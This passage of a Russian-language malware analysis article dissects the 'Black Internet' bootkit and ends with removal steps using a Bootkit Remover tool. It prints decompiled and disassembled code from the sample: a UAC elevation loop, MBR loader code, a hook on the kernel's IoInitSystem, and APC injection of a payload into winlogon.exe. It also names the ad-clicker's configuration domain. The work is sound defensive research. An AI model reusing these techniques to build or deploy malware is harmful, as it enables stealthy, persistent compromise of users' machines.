// Проверка версии ОС на предмет запуска под Windows Vista и выше GetVersionExW(&VersionInformation); if (VersionInformation.dwMajorVersion >= 6) { v4 = GetCurrentProcess(); if (!OpenProcessToken(v4, 0x20008u, &TokenHandle) || !GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength)) return 0; if (!TokenInformation) { // Текущий процесс был запущен с ограниценными привилегиями if (GetModuleFileNameW(0, &Filename, 0x104u)) { ExecInfo.cbSize = 60; ExecInfo.fMask = 0; ExecInfo.hwnd = 0; ExecInfo.lpVerb = L"runas"; ExecInfo.lpFile = &Filename; ExecInfo.lpParameters = 0; ExecInfo.lpDirectory = 0; ExecInfo.nShow = 0; ExecInfo.hInstApp = 0; // Запуск ещё одного экземпляра процесса while (!ShellExecuteExW(&ExecInfo)); } return 0; } }

Предупреждение UAC при запуске установщика
В заключение, непосредственно перед записью загрузочного кода на диск установщик ищет активную утилиту Process Monitor по характерному для неё значению оконного класса:
.text:00402835 sub_402835 proc near .text:00402835 push 0 ; lpWindowName .text:00402837 push offset ClassName ; "PROCMON_WINDOW_CLASS" .text:0040283C call ds:FindWindowW .text:00402842 neg eax .text:00402844 sbb eax, eax .text:00402846 neg eax .text:00402848 retn .text:00402848 sub_402835 endp
Загрузочный код
Одной из отличительных особенностей буткита Black Internet является то, что свои компоненты он хранит не в первых 63 секторах (обычно именно такое количество свободного пространства присутствует перед началом первого раздела диска), а в неразмеченной области, следующей за последним разделом:
"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 512" "DeviceIoControl", "\Device\Harddisk0\DR0", "Control: IOCTL_DISK_GET_LENGTH_INFO" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,344,064, Length: 43,520" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 512" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,784, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 512" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,311,296, Length: 32,768" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,387,584, Length: 9,216" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,396,800, Length: 25,088" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,421,888, Length: 31,232" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 3,216,453,120, Length: 512" "CloseFile", "\Device\Harddisk0\DR0"
Загрузочный сектор буткита узнаёт месторасположение этой неразмеченной области при разборе таблицы разделов, находящейся в MBR, после чего выполняет чтение 64 секторов, в которых хранятся остальные компоненты буткита.
seg000:001F xor eax, eax seg000:0022 mov si, 7BEh ; si - указатель на таблицу разделов seg000:0025 mov cl, 4 ; Количество записей в таблице разделов ... seg000:0031 loc_31: seg000:0031 cmp [si+8], eax seg000:0035 jb short loc_3F seg000:0037 mov eax, [si+8] ; Помещаем в eax номер первого сектора раздела seg000:003B add eax, [si+0Ch] ; Суммируем с размером раздела в секторах seg000:003F loc_3F: seg000:003F add si, 10h seg000:0042 loop loc_31 ; Переход к следующей записи в таблице разделов seg000:0044 or eax, eax seg000:0047 jz short loc_5F seg000:0049 add eax, 2 ; Сектор, начиная с которого необходимо выполнить чтение seg000:004D mov cx, 40h ; Количество считываемых секторов seg000:0050 mov bx, 7C00h ; Адрес памяти для записи считанных данных seg000:0053 call sub_A1 ; Функция, выполняющая чтение данных с использованием ; прерывания 13h (AH=42h) seg000:0056 jb short loc_5F seg000:0058 nop seg000:0059 nop seg000:005A jmp far ptr 0:7C00h ; Передача управления прочитанному коду
Затем буткит выполняет ряд стандартных действий, которые были подробно рассмотрены при анализе двух предыдущих вредоносных программ:
- Резервирование 4 кБ базовой памяти.
- Перехват прерывания 13h.
- Сигнатурный поиск и модификацию кода
OSLOADER.EXE
в обработчикеint 13h
. - Считывание и исполнение загрузочного кода системного раздела.
Код защищённого режима
Рассмотрим код буткита защищённого режима, вызываемый из модифицированного модуля OSLOADER.EXE
.
Действия кода защищённого режима буткита сводятся к инициализации загрузчика драйвера режима ядра. Для этого выполняются следующие операции:
- Сигнатурный анализ функции
nt!Phase1Initialization()
и выявление в ней точки вызова функцииnt!IoInitSystem()
. - Замена вызова
nt!IoInitSystem()
вызовом загрузчика драйвера буткита. - Копирование кода загрузчика в область памяти непосредственно за ядром операционной системы.
Адрес структуры _BlLoaderBlock
, в которой содержится указатель на список загруженных модулей, ищется методом сигнатурного анализа кода OSLOADER.EXE
так же, как это реализовано в бутките Alipop.
seg001:000069D4 sub dword ptr [esp], 6 seg001:000069D8 call sub_6BB4 ; Получение адреса загрузчика драйвера ; (сохраняется в esi) seg001:000069DD mov ecx, 6 seg001:000069E2 rep movsb seg001:000069E4 sub esi, 6 seg001:000069E7 mov edi, [esp+2Ch] seg001:000069EB and edi, 0FFF00000h seg001:000069F1 mov al, 0C7h ; Сигнатурный поиск _BlLoaderBlock seg001:000069F3 loc_69F3: seg001:000069F3 scasb seg001:000069F4 jnz short loc_69F3 seg001:000069F6 cmp dword ptr [edi], 40003446h seg001:000069FC jnz short loc_69F3 seg001:000069FE loc_69FE: seg001:000069FE mov al, 0A1h seg001:00006A00 scasb seg001:00006A01 jnz short loc_69FE seg001:00006A03 mov eax, [edi] ; eax - указатель на _BlLoaderBlock seg001:00006A05 mov eax, [eax] seg001:00006A07 mov eax, [eax] ; eax - _LDR_DATA_TABLE_ENTRY для ядра seg001:00006A09 mov edi, [eax+18h] ; edi - Адрес загрузки ядра seg001:00006A0C mov ecx, [edi+3Ch] seg001:00006A0F mov ecx, [ecx+edi+50h] ; ecx - размер образа ядра (SizeOfImage) seg001:00006A13 call sub_6B3D ; Поиск вызова nt!IoInitSystem() в коде nt!Phase1Initialization() ; (сохраняется в edx) seg001:00006A18 jnz short loc_6A66 seg001:00006A1A mov edx, [ebx] ; Перемещение оригинальной инструкции call nt!IoInitSystem() seg001:00006A1C lea edx, [ebx+edx+4] seg001:00006A20 mov [esi+0Ah], edx seg001:00006A23 add edi, ecx seg001:00006A25 jmp short loc_6A36 ... seg001:00006A36 loc_6A36: seg001:00006A36 add edi, 0FFFh seg001:00006A3C and edi, 0FFFFF000h seg001:00006A42 sub edi, 800h seg001:00006A48 mov ecx, 6A3h seg001:00006A4D push edi seg001:00006A4E rep movsb ; Копирование загрузчика драйвера в область памяти, ; следующую за ядром ОС seg001:00006A50 pop edi seg001:00006A51 add edi, 0Eh seg001:00006A54 sub edi, ebx seg001:00006A56 sub edi, 4 seg001:00006A59 mov [ebx], edi ; Модификация вызова nt!IoInitSystem() seg001:00006A5B xchg esi, edi seg001:00006A5D mov ecx, 644h seg001:00006A62 sub edi, ecx seg001:00006A64 rep stosb
В предыдущем листинге приведен алгоритм установки перехватчика функции IoInitSystem()
. Рассмотрим, как выглядит сам перехват.
Код функции nt!Phase1Initialization()
до модификации:
nt!Phase1Initialization+0x9a1: 80685fc9 6a4b push 4Bh 80685fcb 6a19 push 19h 80685fcd e83877e6ff call nt!InbvSetProgressBarSubset 80685fd2 ffb590fbffff push dword ptr [ebp-470h] 80685fd8 e859140000 call nt!IoInitSystem 80685fdd 84c0 test al,al
Код функции nt!Phase1Initialization()
после модификации:
nt!Phase1Initialization+0x9a1: 80685fc9 6a4b push 4Bh 80685fcb 6a19 push 19h 80685fcd e83877e6ff call nt!InbvSetProgressBarSubset 80685fd2 ffb590fbffff push dword ptr [ebp-470h] 80685fd8 e831980400 call 806cf80e 80685fdd 84c0 test al,al
Загрузчик драйвера
Загрузчик драйвера режима ядра выполняет следующие действия:
- Восстановление оригинального вызова
nt!IoInitSystem()
в коде функцииnt!Phase1Initialization()
. - Вызов
nt!IoInitSystem()
с повторной передачей управления в загрузчик драйвера через подменённый адрес возврата на стеке. - Поиск адреса загрузки ядра ОС по первому вектору в таблице прерываний, адрес которой получается с помощью инструкции процессора
sidt
. - Сигнатурный поиск адреса глобальной переменной ядра
nt!PsLoadedModuleList
, которая представляет собой список загруженных модулей режима ядра. В частности, адресnt!PsLoadedModuleList
извлекается из ссылки на эту переменную в коде неэкспортируемой функцииnt!IopWriteDriverList()
. - Получение по хэшам от имён адресов следующих экспортируемых функций и переменных ядра:
ExAllocatePool
,ExFreePool
,KeLoaderBlock
,NtClose
,NtCreateFile
,NtReadFile
. - Считывание драйвера режима ядра из неразмеченной области в конце диска.
- Настройка исполняемого образа драйвера и передача управления его точке входа.
- Возврат управления в
nt!Phase1Initialization()
.
Драйвер и «полезная нагрузка»
Драйвер буткита служит для внедрения кода пользовательского режима в процесс winlogon.exe
. Для этого он создаёт системный поток, который циклически опрашивает список процессов путём анализа двусвязных списков структур ядра _EPROCESS
и выполняет поиск требуемого процесса по имени исполняемого файла. Смещения нужных полей для структур _EPROCESS
и _ETHREAD
хранятся в глобальных переменных, значения которых инициализируются в зависимости от версии ядра операционной системы. Значение версии ядра может быть получено с помощью функций PsGetVersion()
и RtlGetVersion()
. Ниже приведен псевдокод функции, выполняющей поиск процесса по имени.
// функция, выполняющая поиск процесса по имени (возвращает указатели на _EPROCESS и _ETHREAD) signed int __stdcall sub_113EC(const char *ProcessName, int a2, int a3) { int ProcessEntry; // esi@1 PEPROCESS CurrentProcess; // eax@1 int ThreadListStart; // edi@8 int ThreadEntry; // esi@8 int Thread; // eax@9 unsigned int Teb; // eax@12 int ProcessListStart; // [sp+18h] [bp+Ch]@1 *(_DWORD *)a2 = 0; *(_DWORD *)a3 = 0; // получение указателя на список активных процессов из структуры _EPROCESS текущего процесса CurrentProcess = IoGetCurrentProcess(); ProcessEntry = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks); ProcessListStart = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks); // перечисление всех активных процессов и поиск требуемого исполняемого файла по имени while (!*(_BYTE *)(ProcessEntry + EPROCESS_ImageFileName) || stricmp(ProcessName, (const char *)(ProcessEntry + EPROCESS_ImageFileName))) { ProcessEntry = *(_DWORD *)ProcessEntry; if (ProcessListStart == ProcessEntry) { // это последняя запись в списке (нужный процесс не найден) goto LABEL_7; } } *(_DWORD *)a2 = ProcessEntry - EPROCESS_ActiveProcessLinks; LABEL_7: if (*(_DWORD *)a2) { // получение указателя на список потоков найденного процесса ThreadEntry = *(_DWORD *)(EPROCESS_ThreadListHead + ProcessEntry); ThreadListStart = ThreadEntry; // перечисление всех потоков процесса do { Thread = ThreadEntry - ETHREAD_ThreadListEntry; *(_DWORD *)a3 = ThreadEntry - ETHREAD_ThreadListEntry; if (byte_136C0) { // проверка целостности блока окружения потока (_TEB) Teb = *(_DWORD *)(Thread + 0x20); if (Teb && Teb < (unsigned int)MmSystemRangeStart) return 1; } else { // поток не должен являться системным if (!PsIsSystemThread(Thread)) return 1; } ThreadEntry = *(_DWORD *)ThreadEntry; } while (ThreadEntry != ThreadListStart); } return 0; }
После получения указателей на нужный процесс и его действительный поток, драйвер режима ядра выполняет чтение кода пользовательского режима из неразмеченной области диска и его внедрение в процесс winlogon.exe
.
signed int __stdcall sub_114B2(int Thread, int Process) { signed int result; // eax@2 char Apc; // [sp+4h] [bp-68h]@8 char ApcState; // [sp+34h] [bp-38h]@7 LARGE_INTEGER Timeout; // [sp+4Ch] [bp-20h]@9 int v7; // [sp+54h] [bp-18h]@5 void *Payload; // [sp+58h] [bp-14h]@4 ULONG AllocationSize; // [sp+5Ch] [bp-10h]@4 PVOID BaseAddress; // [sp+60h] [bp-Ch]@1 HANDLE EventHandle; // [sp+64h] [bp-8h]@1 HANDLE Handle; // [sp+68h] [bp-4h]@1 BaseAddress = 0; EventHandle = 0; Handle = 0; // получение дескриптора процесса по указателю на _EPROCESS if (ObOpenObjectByPointer(Process, 512, 0, 0, PsProcessType, 0, &Handle) < 0) return 0; if (byte_13709 == 4) { // чтение кода пользовательского режима с диска if (sub_11ACE(FileHandle, dword_136CC, &byte_1370A, (int)&Payload, (int)&AllocationSize) != 2) { ZwClose(Handle); return 0; } } else { AllocationSize = 1700; Payload = &unk_13000; } v7 = 0x24Eu; // выделение виртуальной памяти в адресном пространстве процесса if (ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, &AllocationSize, 4096u, 64u) < 0 || ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, (PULONG)&v7, 0x1000u, 04u) < 0) { ZwClose(Handle); result = 0; } else { ZwClose(Handle); // подключение к адресному пространству целевого процесса KeStackAttachProcess(Process, &ApcState); if (ZwCreateEvent(&EventHandle, 0x1F0003u, 0, SynchronizationEvent, 0) >= 0) { dword_13704 = (int)EventHandle; dword_1380E = 0; dword_1392A = 0; dword_1392E = 0; memcpy(BaseAddress, Payload, AllocationSize); memcpy(BaseAddress, &unk_13700, 0x24Cu); *((_WORD *)BaseAddress + 294) = *((_WORD *)&unk_13700 + 294); // инициализация APC для существующего потока целевого процесса KeInitializeApc(&Apc, Thread, 2, sub_11498, 0, BaseAddress, 1, 0); // запуск APC и исполнение внедренного в процесс кода if ((unsigned __int8)KeInsertQueueApc(&Apc, 0, 0, 0)) { // Установка KTHREAD::ApcState.UserApcPending в TRUE *(_BYTE *)(KTHREAD_ApcState + Thread + 0x16) = 1; Timeout.HighPart = -1; Timeout.LowPart = -300000000; // ожидание завершения APC ZwWaitForSingleObject(EventHandle, 0, &Timeout); } // отключение от адресного пространства целевого процесса KeUnstackDetachProcess(&ApcState); } if (EventHandle) ZwClose(EventHandle); result = 1; } return result; }
Назначение кода пользовательского режима — запуск троянского процесса с «полезной нагрузкой». Соответствующий модуль хранится в файле C:\System Volume Information\Microsoft\services.exe
, который создаётся установщиком на этапе инсталляции буткита в систему.
Троянский процесс, в свою очередь, является «кликером»: после запроса конфигурации с сайта www.weathertalkz.com
он осуществляет множественные переходы по рекламным баннерам в контексте процесса браузера Internet Explorer, работающего со скрытым окном.

Запрос конфигурации с www.weathertalkz.com
Лечение заражения
Для лечения активного заражения буткитами мы разработали утилиту Bootkit Remover, актуальную и на сегодняшний день. При запуске из командной строки без параметров она производит проверку загрузочного кода для всех физических накопителей. Возможны следующие результаты проверки:
- OK (DOS/Win32 Boot code found) — MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.
- Unknown boot code — MBR содержит неизвестный загрузочный код. На практике это может означать, что в системе присутствует буткит, который не скрывает модифицированный загрузочный код. Этот же статус будет выводится в случае использования какого-либо нестандартного менеджера загрузки: GRUB, TrueCrypt, Acronis и т.п.
- Controlled by rootkit! — в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами операционной системы.

Bootkit Remover
Для восстановления оригинального загрузочного кода Windows утилиту необходимо запускать со следующими параметрами:
> remover.exe fix <device>
Где <device>
— это имя устройства физического накопителя, на котором требуется восстановить загрузочный код (например, \\.\PhysicalDrive0
).
Для вывода загрузочного кода в консоль или в файл используется команда dump
:
> remover.exe dump <device> [output_file]
Так как рассмотренные в данной статье буткиты определяются утилитой как «Unknown boot code», анализ системы с таким результатом проверки необходимо производить в несколько шагов:
Целевая вредоносная программа разрабатывается на заказ, вследствие чего существует не более чем в нескольких экземплярах и не опознается антивирусами.
- Если в исследуемой системе нет программ, которые могли бы модифицировать MBR — вердикт «Unknown boot code» является поводом для подозрений на заражение буткитом.
- Необходимо сделать дамп загрузочного кода и проверить его в онлайн-сервисе VirusTotal: если буткит не целевой, то его загрузочный код с большой долей вероятности будет опознан антивирусами.
- Если код не был опознан, то нужно установить программу нестандартного загрузчика, предположительно модифицировавшую MBR, в заведомо чистую операционную систему, и побайтово сравнить полученный с неё дамп загрузочного сектора с дампом, полученным с проверяемой системы.
- В случае необходимости восстановить оригинальную MBR.
Список литературы
- Дмитрий Олексюк. Анализ и обнаружение буткита Sinowal.
- Derek Soeder, Ryan Permeh. eEye BootRoot: A Basis for Bootstrap-Based Windows Kernel Code.
- QEMU Emulator User Documentation. 3.11 GDB usage.
- Using IDA's GDB debugger with QEMU emulator.
- Дмитрий Олексюк. Уязвимости в драйверах режима ядра для Windows.
- Symantec Security Response. Trojan.Mebratix.B — the Ghost in MBR.